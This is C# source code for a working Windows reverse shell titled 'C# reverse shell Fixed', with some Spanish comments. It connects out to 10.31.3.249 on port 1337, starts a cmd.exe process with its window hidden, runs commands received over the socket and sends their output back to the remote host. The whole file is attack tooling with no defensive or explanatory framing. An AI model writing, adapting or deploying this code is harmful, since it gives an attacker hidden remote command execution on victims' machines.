C# reverse shell Fixed

using System;
using System.Collections.Generic;
using System.Text;
using System.Net.Sockets;
using System.Threading;
using System.IO;
using System.Diagnostics;

namespace NativePayload_ReverseShell
{
    public class salida
    {
        public string outString;
        public DateTime modifiTime;

        public salida()
        {
            outString = string.Empty;
            modifiTime = DateTime.Now;
        }
    }

    public class Program
    {
        static StreamWriter streamWriter;
        static salida output;
        private static System.Timers.Timer timer;

        public static void Main(string[] args)
        {
            output = new salida();
            timer = new System.Timers.Timer();
            timer.Interval = 500;

            timer.Elapsed += OnTimedEvent;
            timer.AutoReset = true;
            timer.Enabled = true;
            timer.Start();

            using (TcpClient client = new TcpClient("10.31.3.249", 1337))
            {
                using (Stream stream = client.GetStream())
                {
                    using (StreamReader rdr = new StreamReader(stream))
                    {
                        streamWriter = new StreamWriter(stream);

                        StringBuilder strInput = new StringBuilder();

                        Process p = new Process();
                        p.StartInfo.FileName = "cmd.exe";
                        p.StartInfo.CreateNoWindow = true;
                        p.StartInfo.UseShellExecute = false;
                        p.StartInfo.RedirectStandardOutput = true;
                        p.StartInfo.RedirectStandardInput = true;
                        p.StartInfo.RedirectStandardError = true;
                        p.OutputDataReceived += new DataReceivedEventHandler(CmdOutputDataHandler);
                        p.Start();
                        p.BeginOutputReadLine();

                        while (true)
                        {
                            strInput.Append(rdr.ReadLine());
                            p.StandardInput.WriteLine(strInput);
                            strInput.Remove(0, strInput.Length);                           
                        }
                    }
                }
            }
        }

        static void OnTimedEvent(Object source, System.Timers.ElapsedEventArgs e)
        {
            StringBuilder strOutput = new StringBuilder();
            strOutput.Append(output.outString);

            // preguntar si la hora actual es mayor que TiempoTrans            
            if ((DateTime.Now - output.modifiTime).TotalSeconds > 0.5)
            {
                // enviar datos
                strOutput.Append(" <data_of_end>");
                streamWriter.WriteLine(strOutput);
                streamWriter.Flush();

                // setear datos en la clase
                output = new salida();
                timer.Stop();
            }
        }

        private static void CmdOutputDataHandler(object sendingProcess, DataReceivedEventArgs outLine)
        {
            StringBuilder strOutput = new StringBuilder();
            timer.Start();

            if (!String.IsNullOrEmpty(outLine.Data))
            {
                try
                {
                    output.outString += "\r\n" + outLine.Data;
                    output.modifiTime = DateTime.Now;
                }
                catch{ }
            }
        }
    }
}